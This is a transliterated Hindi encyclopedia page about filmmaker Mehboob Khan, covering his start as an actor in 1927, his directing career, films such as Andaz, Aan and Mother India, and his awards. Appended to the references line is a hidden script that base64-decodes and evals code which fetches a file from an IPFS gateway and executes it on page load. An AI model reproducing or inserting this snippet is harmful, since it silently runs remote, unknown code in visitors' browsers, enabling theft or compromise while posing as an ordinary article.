महबूब ख़ान का फ़िल्मी कॅरियर
mahaboob khan ka filmi kॅriyar
| |
| poora nam | mahaboob ramajan khan |
| prasiddh nam | mahaboob khan |
| janm | 9 sitambar, 1907 |
| janm bhoomi | bilamiriya, gujarat |
| mrityu | 28 mee, 1964 |
| karm bhoomi | bharat |
| karm-kshetr | bharatiy sinema |
| mukhy filmean | 'madar indiya', 'san aauf iandiya', 'amar', 'takadir', 'roti', 'ek hi rast' adi. |
| prasiddhi | film nirmata-nirdeshak |
| nagarikata | bharatiy |
| sanbandhit lekh | mahaboob stoodiyo |
| any janakari | mahaboob khan ne apane sine kॅriyar ki shuruat 1927 mean pradarshit film 'alibaba eand phorti thiphs' se abhineta ke roop mean ki. is film mean unhoanne chalis choroan mean se ek chor ki bhoomika nibhaee thi. |
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mahaboob khan ne film 'madar iandiya' se pahale bhi isi kahani par 1939 mean 'aurat' film ka nirman kiya tha aur vah is film ka nam bhi 'aurat' hi rakhana chahate the; lekin nargis ke kahane par unhoanne isaka "madar iandiya" jaisa vishuddh aangrezi nam rakha. film ki saphalata se unaka yah sujhav sahi sabit hua tha. varsh 1962 mean pradarshit film "san aauph iandiya" mahaboob khan ke sine kॅriyar ki aantim film sabit huyi. b de bajat se bani yah film tikat khi daki par kamayab nahian ho saki. haanlaki naushad ke sangitabaddh film ke git "nanha munna rahi hooan" aur "tujhe dil dhooandh raha hai" shrotaoan dvara aj bhi tanmayata ke sath sune jate haian.
kॅriyar ki shuruat
mahaboob khan ne apane sine kॅriyar ki shuruat 1927 mean pradarshit film 'alibaba eand phorti thiphs' se abhineta ke roop mean ki. is film mean unhoanne chalis choroan mean se ek chor ki bhoomika nibhaee thi. bahut kam logoan ko pata hoga ki bharat ki pahali bolati film alam ara ke lie mahaboob khan ka abhineta ke roop mean chayan kiya gaya tha. lekin film nirman ke samay ardeshir eerani ne mahasoos kiya ki film ki saphalata ke lie ne kalakar ko mauqa dene ke bajay kisi sthapit abhineta ko yah bhoomika dena sahi rahega. bad mean unhoanne mahaboob khan ki jagah mastar vitthal ko is film mean kam karane ka avasar diya. isake bad mahaboob khan sagar mooviton se ju d ge aur kee filmoan mean sahayak abhineta ke roop mean kam kiya.
nirdeshan
varsh 1935 mean unhean jajameant aauf allah film ke nirdeshan ka mauqa mila. arab aur rom ke bich yuddh ki prishthabhoomi par adharit yah film darshakoan ko kafi pasand aee. mahaboob khan ko 1936 mean manamohan aur 1937 mean jagiradar film ko nirdeshit karane ka mauqa mila, lekin ye donoan filmean tikat khi daki par kuchh khas kamal nahian dikha sakian.
varsh 1937 mean unaki ek hi rasta pradarshit huee. samajik prishthabhoomi par bani yah film darshakoan ko kafi pasand aee. is film ki saphalata ke bad vah nirdeshak ke roop mean apani pahachan banane mean kamayab ho ge. varsh 1939 mean dvitiy vishvayuddh ke karan film iandastri ko kafi arthik nuqasan ka samana karana p da. is dauran sagar mooviton ki arthik sthiti kafi kamazor ho gee aur vah band ho gee. isake bad mahaboob khan apane sahayogiyoan ke sath neshanal stoodiyoan chale ge. jahaan unhoanne 'aurat' (1940), 'bahan' (1941) aur 'roti' (1942) jaisi filmoan ka nirdeshan kiya.
kuchh samay tak neshanal stoodiyoan mean kam karane ke bad mahaboob khan ko mahasoos hua ki unaki vicharadhara aur kanpani ki vicharadhara mean bhinnata hai. ise dekhate hue unhoanne neshanal stoodiyoan ko alavida kah diya aur mahaboob khan prodakshan limited ki sthapana ki. isake bainar tale unhoanne 'nazama', 'takadir' aur 'humayooan' (1945) jaisi filmoan ka nirman kiya. varsh 1946 mean pradarshit film 'anamol gh di' mahaboob khan ki suparahit filmoan mean shumar ki jati hai. is film se ju da rochak tathy yah hai ki mahaboob khan film ko sangitamay banana chahate the. isi uddeshy se unhoanne noorajahaan, suraiyya aur abhineta surendr ka chayan kiya jo abhinay ke sath hi git gane mean bhi saksham the. film ki saphalata se mahaboob khan ka nirnay sahi sabit hua. naushad ke sangit se saje 'avaz de kahaan hai..., aja meri barbad mohabbat ke sahare...' aur 'javaan hai mohabbat...' jaise git shrotaoan ke bich aj bhi lokapriy haian.
mahattvapoorn filmean
varsh 1949 mean pradarshit film aandaz mahaboob khan ki mahattvapoorn filmoan mean shamil hai. prem trikon par bani dilip kumar, raj kapoor aur nargis abhinit yah film qlasik filmoan mean shumar ki jati hai. is film mean dilip kumar aur rajakapoor ne pahali aur akhiri bar ek sath kam kiya tha. varsh 1952 mean pradarshit film an mahaboob khan ki ek aur mahattvapoorn film sabit huee. is film ki khas bat yah thi ki yah hiandustan mean bani pahali teknikalar film thi aur ise kafi kharch ke sath vrihat paimane par banaya gaya tha.
dilip kumar, premanath aur nadira ki mukhy bhoomika vali is film se ju da ek rochak tathy yah bhi hai ki bharat mean bani yah pahali film thi jo poore vishv mean ek sath pradarshit ki gee. an ki saphalata ke bad mahaboob khan ne amar film ka nirman kiya. balatkar jaise sanvedanashil vishay bani is film mean dilip kumar, madhubala aur nimmi ne mukhy nibhaee. halaanki film vyavasayik taur par saphal nahian huee, lekin mahaboob khan ise apani ek mahattvapoorn film manate the.
| varsh | film |
|---|---|
| 1957 | madar indiya |
| 1954 | amar |
| 1949 | aandaz |
| 1946 | anamol gh di |
| 1945 | humayooan |
| 1943 | nazama |
madar iandiya
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varsh 1957 mean pradarshit film madar iandiya mahaboob khan ki sarvadhik saphal filmoan mean shumar ki jati hai. unhoanne madar iandiya se pahale bhi isi kahani par 1939 mean aurat film ka nirman kiya tha aur vah is film ka nam bhi aurat hi rakhana chahate the. lekin nargis ke kahane par unhoanne isaka madar iandiya jaisa vishuddh aangrezi nam rakha. film ki saphalata se unaka yah sujhav sahi sabit hua. mahanh adakara nargis ko film iandastri mean lane mean mahaboob khan ki aham bhoomika rahi.
nargis abhinetri nahian banana chahati thi, lekin mahaboob khan ko unaki abhinay kshamata par poora bharosa tha aur vah unhean apani film mean abhinetri ke roop mean kam dena chahate the. ek bar nargis ki maan ne unhean skrin test ke lie mahaboob khan ke pas jane ko kaha. chooanki nargis abhinay kshetr mean jane ki ichchhuk nahian thian, isalie unhoanne socha ki yadi vah skrin test mean phel ho jati haian to unhean abhinetri nahian banana pade़ga.
skrin test ke dauran nargis ne anamane dhang se sanvad bole aur socha ki mahaboob khan unhean skrin test mean phel kar deange. lekin unaka yah vichar galat nikala. mahaboob khan ne apani nee film takadir (1943) ke lie nayika unhean chun liya. bad mean nargis ne mahaboob khan ki kee filmoan mean abhinay kiya. isamean 1957 mean pradarshit film madar iandiya khas taur par ullekhaniy hai.
san aauf iandiya
varsh 1962 mean pradarshit film san aauf iandiya mahaboob khan ke sine kariyar ki aantim film sabit huee. b de bajat se bani yah film tikat khi daki ki par buri tarah nakar di gee. haanlaki naushad ke svarabaddh film ke git nanha munna rahi hooan... aur tujhe dil dhooandh raha hai... shrotaoan ke bich aj bhi tanmayata ke sath sune jate haian. apane jivan ke akhiri daur mean mahaboob khan 16vian shatabdi ki kavayitri habba khatoon ki ziandagi par ek film banana chahate the. lekin unaka yah khvab adhoora hi rah gaya. [1]
puraskar
film 'madar iandiya' (1957) ke nirman ne mahaboob khan ko sarvadhik khyati dilaee, kyoanki 'madar iandiya' ko videshi bhasha ki sarvashreshth film ke liye akadami puraskar ke liye namaankit kiya gaya tatha is film ne sarvashreshth nirdeshak ke lie film pheyar puraskar bhi jita.
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tika tippani aur sandarbh
- ↑ chalis 'choroan' mean ek 'chor' the mahaboob khan (hindi) (ech.ti.em.el) hiandustan. abhigaman tithi: 28 agast, 2010.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bahari k diyaan
sanbandhit lekh
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varnamala kramanusar lekh khoj
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